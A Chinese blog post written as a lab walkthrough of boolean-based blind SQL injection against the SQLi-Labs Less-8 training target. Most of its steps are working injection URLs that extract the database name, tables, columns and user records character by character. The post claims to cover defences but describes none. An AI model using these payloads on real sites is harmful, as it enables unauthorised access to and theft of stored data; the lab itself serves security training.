Web安全-基于SQLI的布尔型盲注

【实验目的】

  通过本实验理解如何通过web的响应信息识别存在盲注,掌握利用SQL查询语句结合布尔盲注获取数据库信息的技巧,熟悉SQL注入中盲注的攻击与防范措施。

【实验环境】


目标网站:SQLI(Less-8)

【实验原理】

  1.盲注的分类

  盲注可具体分为以下三种:

  (1)布尔型盲注:根据页面返回的真假来判断的即为布尔型盲注。

  (2)时间型盲注:根据页面返回的时间来判断的即为时间型盲注。

  (3)报错型盲注:根据页面返回的对错来判断的即为报错型盲注。

  2.盲注需要掌握的一些MySQL的相关函数:

  length(str):返回str字符串的长度。

  substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始。

  mid(str,pos,len):跟上面的一样,截取字符串。

  ascii(str):返回字符串str的最左面字符的ASCII代码值。

  ord(str):同上,返回ascii码。

  if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0。

  3.常用的查询语句有:

  select length(databse());

  select substr(databse(),1,1);

  select ascii(substr(database(),1,1));

  select ascii(substr(database(),1,1)) > N;

  select ascii(substr(database(),1,1)) = N;

  select ascii(substr(database(),1,1)) < N;

【实验步骤】

第一步 登录SQLI-Labs平台

第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-8

  在浏览器地址栏中输入http://【靶机IP】/Less-8/,访问SQLI-Labs的less-8。

  说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

第三步 判断是否存在盲注,确定盲注的类型

  (1)确定是否存在报错型

  http://【靶机IP】/Less-8/?id=1

  正常访问。

  http://【靶机IP】/Less-8/?id=1'

  不能正常显示。

  (2)确定盲注类型

  http://【靶机IP】/Less-8/?id=1' and (length(database()))>0 --+

  正常显示。

  http://【靶机IP】/Less-8/?id=1' and (length(database()))<0 --+

  不能正常显示。

  得出结论为:存在布尔型盲注。

  如果阅读源码信息,会发现将报错功能函数注释掉了:

第四步 二分法盲注获得数据库名

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select database()),1,1))=115 %23

  得出第一个字符为s

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select database()),2,1))=101 %23

  得出第二个字符为e

  以此类推,最后得到数据库的名为security

第五步 盲注获得注入点连接的数据库的表名

  函数功能:

  select下的limit是第几个表。

  substr下的是截取的表内容。

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113--+

  猜解错误。

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+

  正确。

  第一个表的第一个字符ASCII码为114,解码为r

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+

  正确。

  第一个表第二个字符ASCII码为101 解码为e

  以此类推,推出第一个表的表名为:referer同时推第二个表的表名为:uagents

第六步 盲注获得字段

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+

  105的ASCII码对应为字母i

  最终得出该字段为:id

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+

  117的ASCII码对应为字母u

  最终得出该字段为:username

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+

  112的ASCII码对应为字母p

  最终得出该字段为:password

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+

  此时报错,说明只有3个字段。

  最后得出的字段完整呈现如下:

第七步 盲注猜解内容

  命令格式为:

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select 字段 from 数据库.表明 order by id limit 0,1),1,1)>【ASCII码】--+

  猜解security.users下的第一个字段

  http://【靶机IP】/Less-8/?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+

  正确。

  以此类推:

  最终解码后为:Dumb

  最后的完整数据表结构如下:

【思考与总结】

  通过本次实验,成功实现了利用布尔盲注获取数据库信息,掌握SQL注入漏洞中布尔盲注攻击方法以及防御措施。

posted @ 2020-10-30 20:44  码小农的幸福生活  阅读(428)  评论(0)    收藏  举报